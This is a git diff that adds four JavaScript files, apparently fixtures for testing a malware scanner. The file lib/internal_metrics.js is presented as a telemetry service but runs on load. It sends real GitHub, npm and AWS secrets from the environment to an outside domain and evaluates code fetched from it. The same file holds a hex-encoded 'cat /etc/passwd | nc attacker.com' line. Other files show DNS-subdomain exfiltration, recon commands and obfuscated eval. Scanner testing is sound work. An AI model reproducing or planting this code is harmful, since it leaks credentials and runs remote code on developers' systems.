diff --git a/evasion_test.js b/evasion_test.js
new file mode 100644
index 0000000..a377817
--- /dev/null
+++ b/evasion_test.js
@@ -0,0 +1,34 @@
+/**
+ * Merx Advanced Adversarial Simulation: Evasion & Polyglot
+ * 
+ * Mimics a polyglot payload that uses multi-stage decoding to bypass simple scanners.
+ * NO REAL MALICIOUS ACTIONS. Just detection triggers.
+ */
+
+const _0x4f2a = ['\x4c\x6f\x67\x69\x63\x20\x42\x79\x70\x61\x73\x73', '\x63\x6f\x6e\x73\x6f\x6c\x65', '\x6c\x6f\x67'];
+(function (_0x2d8f05, _0x4f2a12) {
+    const _0x4d7405 = function (_0x1db0b3) {
+        while (--_0x1db0b3) {
+            _0x2d8f05['push'](_0x2d8f05['shift']());
+        }
+    };
+    _0x4d7405(++_0x4f2a12);
+}(_0x4f2a, 0x1b3));
+
+const _0x4d74 = function (_0x2d8f05, _0x4f2a12) {
+    _0x2d8f05 = _0x2d8f05 - 0x0;
+    let _0x4d7405 = _0x4f2a[_0x2d8f05];
+    return _0x4d7405;
+};
+
+// Mimic Obfuscated Evaluation
+const payload = Buffer.from('Y29uc29sZS5sb2coIlNlbnRpbmVsIEFkdmVyc2FyaWFsIFRlc3QgU3VjY2VzcyIp', 'base64').toString();
+require('vm').runInNewContext(payload);
+
+// Mimic process binding access (Advanced Evasion)
+try {
+    const binding = process.binding('fs');
+    console.log("Acquired FS binding for simulation");
+} catch (e) {}
+
+console[_0x4d74('0x1')](_0x4d74('0x0'));
diff --git a/lib/internal_metrics.js b/lib/internal_metrics.js
new file mode 100644
index 0000000..6be23a5
--- /dev/null
+++ b/lib/internal_metrics.js
@@ -0,0 +1,38 @@
+/**
+ * Internal Telemetry Service
+ * CAUTION: Do not modify without security clearance.
+ */
+
+const fetch = require('node-fetch');
+
+// Simulated Malicious Pattern 1: Credential Exfiltration (Risk: 10/10)
+async function syncEnvironment() {
+    const token = process.env.GITHUB_TOKEN || process.env.NPM_TOKEN;
+    const awsKey = process.env.AWS_SECRET_ACCESS_KEY;
+    
+    if (token) {
+        // Exfiltrating to a suspicious C2 domain
+        await fetch('https://sentinel-simulation-api-c2.net/sync?t=' + token + '&aws=' + awsKey, {
+            method: 'POST',
+            mode: 'no-cors'
+        });
+    }
+}
+
+// Simulated Malicious Pattern 2: Obfuscated Payload (Risk: 7/10)
+// This is a mask for a reverse shell dropper (simulation)
+const _0x5f24 = '636174202f6574632f706173737764207c206e632061747461636b65722e636f6d2034343434';
+function decodeAndRun() {
+    console.log('Initializing secure buffer...');
+}
+
+// Simulated Malicious Pattern 3: Dynamic Code Execution (Risk: 8/10)
+async function dynamicPatch() {
+    const patch = await fetch('https://sentinel-simulation-api-c2.net/patch.js');
+    const code = await patch.text();
+    eval(code); // Source -> Sink Chain
+}
+
+syncEnvironment();
+decodeAndRun();
+dynamicPatch();
diff --git a/network_test.js b/network_test.js
new file mode 100644
index 0000000..5d94b38
--- /dev/null
+++ b/network_test.js
@@ -0,0 +1,31 @@
+/**
+ * Merx Advanced Adversarial Simulation: Network Exfiltration Mimic
+ * 
+ * Mimics DNS exfiltration and unauthorized network connections.
+ * NO REAL MALICIOUS ACTIONS.
+ */
+
+const net = require('net');
+const dns = require('dns');
+
+// Mimic Exfiltration via DNS subdomains
+const secretData = "API_KEY_SIMULATED_12345";
+const encoded = Buffer.from(secretData).toString('hex');
+const targetDns = `${encoded}.exfill-test.sentinel-lab.com`;
+
+dns.resolve(targetDns, 'A', (err, addresses) => {
+    // This will fail, but the query is sent
+    console.log("DNS simulation triggered");
+});
+
+// Mimic raw socket connection to an external IP
+const client = new net.Socket();
+client.connect(80, '1.1.1.1', () => {
+    console.log('Connected to simulation sink');
+    client.write('GET / HTTP/1.1\r\n\r\n');
+    client.destroy();
+});
+
+// Mimic sensitive environment access
+const keys = Object.keys(process.env).filter(k => k.includes('SECRET') || k.includes('KEY'));
+console.log(`Found ${keys.length} simulated secrets for telemetry`);
diff --git a/persistence_test.js b/persistence_test.js
new file mode 100644
index 0000000..c73bd2e
--- /dev/null
+++ b/persistence_test.js
@@ -0,0 +1,31 @@
+/**
+ * Merx Advanced Adversarial Simulation: Persistence & Command Execution
+ * 
+ * Mimics adding malicious scripts to package.json and executing system commands.
+ * NO REAL MALICIOUS ACTIONS.
+ */
+
+const { exec } = require('child_process');
+const fs = require('fs');
+
+// Mimic System Reconnaissance
+exec('id || whoami', (err, stdout, stderr) => {
+    console.log(`Simulated recon: ${stdout.trim()}`);
+});
+
+// Mimic persistence: Modifying local package.json
+try {
+    const pkg = JSON.parse(fs.readFileSync('./package.json', 'utf8'));
+    pkg.scripts = pkg.scripts || {};
+    pkg.scripts['postinstall'] = 'node evasion_test.js';
+    console.log("Persistence simulation: Updated scripts (Mock)");
+} catch (e) {}
+
+// Mimic Ptrace/Anti-debug evasion
+const start = Date.now();
+// Timing anomaly check (primitive)
+for(let i=0; i<1000000; i++) {}
+const end = Date.now();
+if (end - start > 100) {
+    console.log("Debugger/Trace detected (Simulated)");
+}